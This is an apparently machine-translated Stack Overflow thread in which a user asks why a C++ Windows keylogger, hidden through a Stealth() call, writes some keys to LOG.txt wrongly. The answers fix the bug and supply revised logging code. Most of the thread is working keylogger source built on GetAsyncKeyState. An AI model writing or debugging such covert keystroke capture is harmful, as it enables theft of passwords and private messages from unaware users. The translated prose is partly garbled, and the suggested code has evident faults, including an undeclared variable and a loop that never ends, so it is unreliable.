c ++键盘记录器无法正常工作

时间:2015-04-10 21:27:11

标签: c++ windows winapi file-io keylogger

我一直是stackoverflow的访问者已经有一段时间了,这是我在这个网站上的第一个问题:) 我正在尝试编写一个键盘记录器,它将保存.txt文件中按下的键,但问题是这样。我用cout检查cmd.exe上的输出,我看到它工作正常但是当我打开LOG.txt文件时,我看到程序打印abcdefgh为012345678.只有这些非大写字母不起作用。每个其他键都在文件中正确打印。 这是我的主要功能:

int main()
{
Stealth();
//Focus();
char i;
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
system("pause");
return 0;
}

保存功能:

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}

2 个答案:

答案 0 :(得分:2)

到目前为止,我看到一个错误的错误,而且我会采取不同的做法。首先,我不认为每次写一个字符时都会打开并关闭文件。

第二个(错误的错误),是您调用fprintf指定字符串%s并给它一个整数指针&key。一个简单的修复应该是fprintf(OUTPUT_FILE, "%c", (char)key),尽管存在更优雅的解决方案来放置单个字符,即putc

答案 1 :(得分:0)

恕我直言,您在此代码中遇到一个主要问题:使用i作为循环索引,并在循环中更改其值。

另一个问题是您的Save功能完全错误。

在我自己的框中,以下代码正确显示按下的键,并将它们记录到文件LOG.txt

int Save(int key, char *file)
{   
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}

int main()
{
//Stealth();
//Focus();
char i;

// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
    for(i = 8; i <= 255; i++){      
        if (GetAsyncKeyState(i) == -32767){     
            //i=_getch();
            cout << i << endl;
            Save(i,"LOG.txt");
        }
    }
}
// system("pause"); never used ...
return 0;
}

当然,我必须按Ctrl-C或Ctrl-Break来停止程序,非字母数字键显示奇怪的符号......

但是当我输入ABCDEFGH012345678然后输入Ctrl-C(不使用键盘输入数字)时,我在LOG.txt中得到了预期的结果:

  

A(41)B(42)C(43)D(44)E(45)F(46)G(47)H(48)0(30)1(31)2(32)3(33 )4(34)5(35)6(36)7(37)8(38)。 (11)

代表的最后一个字符是Ctrl,这里是一个点.,但实际上是一个正方形......